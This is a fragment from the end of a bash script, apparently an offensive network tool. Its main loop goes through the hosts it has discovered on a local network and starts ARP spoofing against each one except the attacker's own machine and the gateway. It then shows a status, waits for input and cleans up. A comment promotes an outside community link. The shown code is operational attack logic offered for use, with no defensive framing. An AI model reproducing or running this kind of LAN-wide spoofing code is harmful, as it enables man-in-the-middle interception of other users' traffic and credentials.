                TARGET_IP=$(echo $line | awk '{print $1}')
                TARGET_MAC=$(echo $line | awk '{print $2}')

                if [ -n "$TARGET_IP" ] && [ "$TARGET_IP" != "$MY_IP" ] && [ "$TARGET_IP" != "$GATEWAY" ]; then
                    start_arp_spoof "$TARGET_IP" "$TARGET_MAC"
                    sleep 1
                fi
            done

            show_status
            read

            cleanup
            break
        done
    done
}
#join us undercode.help/community
# Run main function
main